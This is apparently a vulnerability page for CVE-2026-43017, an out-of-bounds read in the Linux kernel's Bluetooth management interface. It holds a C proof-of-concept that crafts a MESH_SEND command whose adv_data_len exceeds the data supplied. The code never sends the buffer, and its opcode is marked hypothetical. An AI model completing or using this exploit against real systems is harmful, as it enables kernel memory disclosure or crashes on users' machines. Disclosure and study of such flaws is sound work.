CVE-2026-43017 Linux内核蓝牙越界读取漏洞

// Proof of Concept for CVE-2026-43017 // This code demonstrates the concept of crafting a malformed MGMT command. #include <stdio.h> #include <string.h> #include <stdlib.h> // MGMT Command Header structure (simplified) struct mgmt_hdr { unsigned short opcode; unsigned short index; unsigned short len; unsigned char pad[2]; }; // MESH_SEND command structure (simplified) struct mgmt_mesh_send { unsigned char instance; unsigned short adv_data_len; // The vulnerable field // Followed by adv_data[] }; int main() { // Allocate buffer for command int buffer_size = sizeof(struct mgmt_hdr) + sizeof(struct mgmt_mesh_send); char *buffer = malloc(buffer_size); memset(buffer, 0, buffer_size); struct mgmt_hdr *hdr = (struct mgmt_hdr *)buffer; struct mgmt_mesh_send *cmd = (struct mgmt_mesh_send *)(buffer + sizeof(struct mgmt_hdr)); // Setup header hdr->opcode = 0x0045; // Example MGMT_OP_MESH_SEND opcode (hypothetical) hdr->len = buffer_size - sizeof(struct mgmt_hdr); // Setup vulnerable command cmd->instance = 1; // Set adv_data_len larger than actual data provided (0) // This triggers the vulnerability in mesh_send() cmd->adv_data_len = 20; // In a real scenario, send this buffer via Bluetooth socket printf(" crafted malicious MGMT command with truncated adv_data_len.\n"); free(buffer); return 0; }